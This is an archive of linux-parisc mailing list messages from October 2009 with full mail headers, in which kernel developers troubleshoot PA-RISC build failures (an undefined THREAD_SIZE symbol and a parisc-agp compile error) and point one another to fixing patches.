Message-ID: <200910010535.39189.elendil@planet.nl>
References: <200910010339.52904.elendil@planet.nl> <119aab440909301905v26cbeb76o91be0bd674461fbb@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1254368150 29801 80.91.229.12 (1 Oct 2009 03:35:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Oct 2009 03:35:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 01 05:35:43 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MtCSF-0000u6-4l
	for glpp-linux-parisc@lo.gmane.org; Thu, 01 Oct 2009 05:35:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755524AbZJADfg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 30 Sep 2009 23:35:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755529AbZJADfg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 30 Sep 2009 23:35:36 -0400
Original-Received: from Cpsmtpm-eml108.kpnxchange.com ([195.121.3.12]:60007 "EHLO
	CPSMTPM-EML108.kpnxchange.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755524AbZJADfg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 30 Sep 2009 23:35:36 -0400
Original-Received: from aragorn.fjphome.nl ([77.166.180.99]) by CPSMTPM-EML108.kpnxchange.com with Microsoft SMTPSVC(7.0.6001.18000);
	 Thu, 1 Oct 2009 05:35:39 +0200
User-Agent: KMail/1.9.9
In-Reply-To: <119aab440909301905v26cbeb76o91be0bd674461fbb@mail.gmail.com>
Content-Disposition: inline
X-OriginalArrivalTime: 01 Oct 2009 03:35:39.0525 (UTC) FILETIME=[3EFBD350:01CA4248]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2223
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2223>

On Thursday 01 October 2009, Carlos O'Donell wrote:
> On Wed, Sep 30, 2009 at 9:39 PM, Frans Pop <elendil@planet.nl> wrote:
> > arch/parisc/kernel/vmlinux.lds:319: undefined symbol `THREAD_SIZE'
> > referenced in expression
> > make[5]: *** [.tmp_vmlinux1] Error 1
>
> Fixed upstream?
>
> http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commitdi
>ff;h=f32ed3954c5e365907738b1206e849b6bbe9bcef

Nope. With that patch applied I still get the error, even for an
'allnoconfig" build.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vmlinux.lds:319: undefined symbol `THREAD_SIZE'
Date: Thu, 1 Oct 2009 12:32:44 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20091001163244.GS11961@bombadil.infradead.org>
References: <200910010339.52904.elendil@planet.nl> <119aab440909301905v26cbeb76o91be0bd674461fbb@mail.gmail.com> <200910010535.39189.elendil@planet.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1254414776 8161 80.91.229.12 (1 Oct 2009 16:32:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Oct 2009 16:32:56 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: Frans Pop <elendil@planet.nl>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 01 18:32:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MtOaG-0006SO-W0
	for glpp-linux-parisc@lo.gmane.org; Thu, 01 Oct 2009 18:32:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755356AbZJAQcm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Oct 2009 12:32:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755284AbZJAQcm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Oct 2009 12:32:42 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:57433 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755356AbZJAQcl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Oct 2009 12:32:41 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MtOaC-0000ij-E7; Thu, 01 Oct 2009 16:32:44 +0000
Content-Disposition: inline
In-Reply-To: <200910010535.39189.elendil@planet.nl>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2224
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2224>

On Thu, Oct 01, 2009 at 05:35:38AM +0200, Frans Pop wrote:
> On Thursday 01 October 2009, Carlos O'Donell wrote:
> > On Wed, Sep 30, 2009 at 9:39 PM, Frans Pop <elendil@planet.nl> wrote:
> > > arch/parisc/kernel/vmlinux.lds:319: undefined symbol `THREAD_SIZE'
> > > referenced in expression
> > > make[5]: *** [.tmp_vmlinux1] Error 1
> >
> > Fixed upstream?
> >
> > http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commitdi
> >ff;h=f32ed3954c5e365907738b1206e849b6bbe9bcef
> 
> Nope. With that patch applied I still get the error, even for an
> 'allnoconfig" build.

You need this one too:
http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commitdiff;h=8cf06fc9bd660c28afea4115fd91a2cc4978eb54
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frans Pop <elendil@planet.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vmlinux.lds:319: undefined symbol `THREAD_SIZE'
Date: Fri, 2 Oct 2009 02:25:28 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <200910020225.29192.elendil@planet.nl>
References: <200910010339.52904.elendil@planet.nl> <200910010535.39189.elendil@planet.nl> <20091001163244.GS11961@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1254443142 5022 80.91.229.12 (2 Oct 2009 00:25:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Oct 2009 00:25:42 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 02 02:25:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MtVxk-0000Bv-2x
	for glpp-linux-parisc@lo.gmane.org; Fri, 02 Oct 2009 02:25:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751557AbZJBAZ0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Oct 2009 20:25:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751741AbZJBAZ0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Oct 2009 20:25:26 -0400
Original-Received: from Cpsmtpm-eml106.kpnxchange.com ([195.121.3.10]:64292 "EHLO
	CPSMTPM-EML106.kpnxchange.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751557AbZJBAZ0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Oct 2009 20:25:26 -0400
Original-Received: from aragorn.fjphome.nl ([77.166.180.99]) by CPSMTPM-EML106.kpnxchange.com with Microsoft SMTPSVC(7.0.6001.18000);
	 Fri, 2 Oct 2009 02:25:29 +0200
User-Agent: KMail/1.9.9
In-Reply-To: <20091001163244.GS11961@bombadil.infradead.org>
Content-Disposition: inline
X-OriginalArrivalTime: 02 Oct 2009 00:25:29.0340 (UTC) FILETIME=[D86583C0:01CA42F6]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2225
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2225>

On Thursday 01 October 2009, Kyle McMartin wrote:
> On Thu, Oct 01, 2009 at 05:35:38AM +0200, Frans Pop wrote:
> > On Thursday 01 October 2009, Carlos O'Donell wrote:
> > > On Wed, Sep 30, 2009 at 9:39 PM, Frans Pop <elendil@planet.nl> wrote:
> > > > arch/parisc/kernel/vmlinux.lds:319: undefined symbol `THREAD_SIZE'
> > > > referenced in expression
> > > > make[5]: *** [.tmp_vmlinux1] Error 1
> > >
> > > Fixed upstream?
> > >
> > > http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=comm
> > >itdi ff;h=f32ed3954c5e365907738b1206e849b6bbe9bcef
> >
> > Nope. With that patch applied I still get the error, even for an
> > 'allnoconfig" build.
>
> You need this one too:
> http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commitdi
>ff;h=8cf06fc9bd660c28afea4115fd91a2cc4978eb54

Yep, that fixed it.

The resulting kernel boots fine on my box, but there does seem to be a 
regression. With 2.6.31 I not had any problems running aptitude, but with 
this kernel it's segfaulted on me once and frozen twice. Unfortunately 
it's not reliably reproducible,

Thanks,
FJP
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Build failure?
Date: Thu, 1 Oct 2009 21:36:30 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <119aab440910011836o4b61e52j3294c3e16b80c00c@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1254447486 13578 80.91.229.12 (2 Oct 2009 01:38:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Oct 2009 01:38:06 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 02 03:37:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MtX5k-0001FI-6M
	for glpp-linux-parisc@lo.gmane.org; Fri, 02 Oct 2009 03:37:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932174AbZJBBgb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Oct 2009 21:36:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932176AbZJBBga
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Oct 2009 21:36:30 -0400
Original-Received: from mail-bw0-f210.google.com ([209.85.218.210]:43790 "EHLO
	mail-bw0-f210.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932174AbZJBBg1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Oct 2009 21:36:27 -0400
Original-Received: by bwz6 with SMTP id 6so630553bwz.37
        for <linux-parisc@vger.kernel.org>; Thu, 01 Oct 2009 18:36:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=vX4tVbSrip8H2DH7vg9tc0VKc/84SE5lXRofrU4E0qQ=;
        b=PI06Ma/UvGT/n/m8xaouGKr27RpK29unEu7NIWvgHKxeVMRb27OV2haDXDW1uzR5Sx
         ci8qlMaGa8J8R2uf+V2S1yzGIHzSUvwCftKplWfYbHOef4dUwptLs6RxTzs0cr+4jsGf
         2nBMwJFaKKJFpyv8htU4LRo29+AKbmPk0FTZc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=u//FPZ/I3IvAGJOdg4I/49KloEEZUCBt8HwyhiFqLhy9tB77X7UCoeIptD5kistkbS
         h2aMrlDmO1qA98eL/MicuwcyNPJefh/7jxQvGLt6brFtgAJ3Mi/o+lWRjSOOwKdiMukJ
         HIQFhGithWKQwX3KUKtLuOJhZrR4VvAgLcu1s=
Original-Received: by 10.204.153.219 with SMTP id l27mr598083bkw.141.1254447390951; 
	Thu, 01 Oct 2009 18:36:30 -0700 (PDT)
X-Google-Sender-Auth: 1b1988d3aa64a2b1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2226
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2226>

Helge, Kyle,

Building 2.6.32-rc2
(git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git)

Results in:

drivers/char/agp/parisc-agp.c:220: error:
'parisc_agp_page_mask_memory' undeclared here (not in a function)
make[3]: *** [drivers/char/agp/parisc-agp.o] Error 1
make[2]: *** [drivers/char/agp] Error 2
make[1]: *** [drivers/char] Error 2
make: *** [drivers] Error 2

I haven't looked into this yet.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Build failure?
Date: Thu, 1 Oct 2009 21:43:46 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20091002014346.D73A14E38@hiauly1.hia.nrc.ca>
References: <119aab440910011836o4b61e52j3294c3e16b80c00c@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1254448009 14597 80.91.229.12 (2 Oct 2009 01:46:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Oct 2009 01:46:49 +0000 (UTC)
Cc: deller@gmx.de, kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 02 03:46:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MtXEF-0003UM-21
	for glpp-linux-parisc@lo.gmane.org; Fri, 02 Oct 2009 03:46:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932311AbZJBBnt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Oct 2009 21:43:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932289AbZJBBns
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Oct 2009 21:43:48 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2259 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932211AbZJBBnq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Oct 2009 21:43:46 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D73A14E38; Thu,  1 Oct 2009 21:43:46 -0400 (EDT)
In-Reply-To: <119aab440910011836o4b61e52j3294c3e16b80c00c@mail.gmail.com> from "Carlos O'Donell" at Oct 1, 2009 09:36:30 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2227
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2227>

> drivers/char/agp/parisc-agp.c:220: error:
> 'parisc_agp_page_mask_memory' undeclared here (not in a function)
> make[3]: *** [drivers/char/agp/parisc-agp.o] Error 1
> make[2]: *** [drivers/char/agp] Error 2
> make[1]: *** [drivers/char] Error 2
> make: *** [drivers] Error 2
> 
> I haven't looked into this yet.

I seem to recall there is a patch in Kyle's tree that may fix this.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Build failure?
Date: Fri, 2 Oct 2009 13:04:12 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20091002170412.GT11961@bombadil.infradead.org>
References: <119aab440910011836o4b61e52j3294c3e16b80c00c@mail.gmail.com> <20091002014346.D73A14E38@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1254503070 4187 80.91.229.12 (2 Oct 2009 17:04:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Oct 2009 17:04:30 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>, deller@gmx.de,
	kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 02 19:04:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MtlYK-0003V2-9h
	for glpp-linux-parisc@lo.gmane.org; Fri, 02 Oct 2009 19:04:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753508AbZJBREO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Oct 2009 13:04:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756717AbZJBREO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Oct 2009 13:04:14 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:60044 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753508AbZJBREO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Oct 2009 13:04:14 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MtlYC-0006wo-Uc; Fri, 02 Oct 2009 17:04:12 +0000
Content-Disposition: inline
In-Reply-To: <20091002014346.D73A14E38@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2228
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2228>

On Thu, Oct 01, 2009 at 09:43:46PM -0400, John David Anglin wrote:
> > drivers/char/agp/parisc-agp.c:220: error:
> > 'parisc_agp_page_mask_memory' undeclared here (not in a function)
> > make[3]: *** [drivers/char/agp/parisc-agp.o] Error 1
> > make[2]: *** [drivers/char/agp] Error 2
> > make[1]: *** [drivers/char] Error 2
> > make: *** [drivers] Error 2
> > 
> > I haven't looked into this yet.
> 
> I seem to recall there is a patch in Kyle's tree that may fix this.
> 

Yes, Helge submitted a fix, but it's not in my tree, since it should go
in via the agp tree. Hopefully Airlied will pick it up. You can just
turn off the driver though, since I think I'm the only person on earth
running linux on a box with a Quicksilver ASIC and also using
graphics...

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Build failure?
Date: Fri, 02 Oct 2009 20:53:42 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <4AC64C36.7030901@gmx.de>
References: <20091002014346.D73A14E38@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1254509636 29414 80.91.229.12 (2 Oct 2009 18:53:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Oct 2009 18:53:56 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 02 20:53:48 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MtnGF-0000zH-IN
	for glpp-linux-parisc@lo.gmane.org; Fri, 02 Oct 2009 20:53:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754327AbZJBSxm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Oct 2009 14:53:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754904AbZJBSxm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Oct 2009 14:53:42 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:34003 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754327AbZJBSxl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Oct 2009 14:53:41 -0400
Original-Received: (qmail invoked by alias); 02 Oct 2009 18:53:44 -0000
Original-Received: from p4FDB0A4D.dip0.t-ipconnect.de (EHLO halden.box) [79.219.10.77]
  by mail.gmx.net (mp037) with SMTP; 02 Oct 2009 20:53:44 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+J7HFPdyuJXDEmgFxn1TXWuaIcUt87ssZgkZFRkI
	WKWspoJ57Ups7Q
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090814 Fedora/3.0-2.6.b3.fc11 Thunderbird/3.0b3
In-Reply-To: <20091002014346.D73A14E38@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.64
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2229
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2229>

On 10/02/2009 03:43 AM, John David Anglin wrote:
>> drivers/char/agp/parisc-agp.c:220: error:
>> 'parisc_agp_page_mask_memory' undeclared here (not in a function)
>> make[3]: *** [drivers/char/agp/parisc-agp.o] Error 1
>> make[2]: *** [drivers/char/agp] Error 2
>> make[1]: *** [drivers/char] Error 2
>> make: *** [drivers] Error 2
>>
>> I haven't looked into this yet.
>
> I seem to recall there is a patch in Kyle's tree that may fix this.

No, it's not in Kyle's tree, but available here:
http://patchwork.kernel.org/patch/50348/

Btw, I've started to collect not-yet-applied patches to various trees here:
http://userweb.kernel.org/~deller/parisc/patches.still-needed/
The AGP-Patch is in the 2.6.32 subtree.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/fixes
Date: Sat, 3 Oct 2009 05:29:35 GMT
Lines: 25
Approved: news@gmane.org
Message-ID: <200910030529.n935TZbX022821@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1254547788 19297 80.91.229.12 (3 Oct 2009 05:29:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2009 05:29:48 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 03 07:29:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MtxBa-0003fx-Gs
	for glpp-linux-parisc@lo.gmane.org; Sat, 03 Oct 2009 07:29:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751966AbZJCF3c (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 3 Oct 2009 01:29:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752762AbZJCF3c
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 3 Oct 2009 01:29:32 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:40667 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751966AbZJCF3b (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 3 Oct 2009 01:29:31 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX184JUXopwft80p5lxpoy9kvaAh2tqtLnQw@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n935TZFo022824
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Sat, 3 Oct 2009 05:29:35 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n935TZbX022821
	for linux-parisc@vger.kernel.org; Sat, 3 Oct 2009 05:29:35 GMT
X-Virus-Scanned: ClamAV 0.93.3/9865/Sat Oct  3 02:45:19 2009 on hera.kernel.org
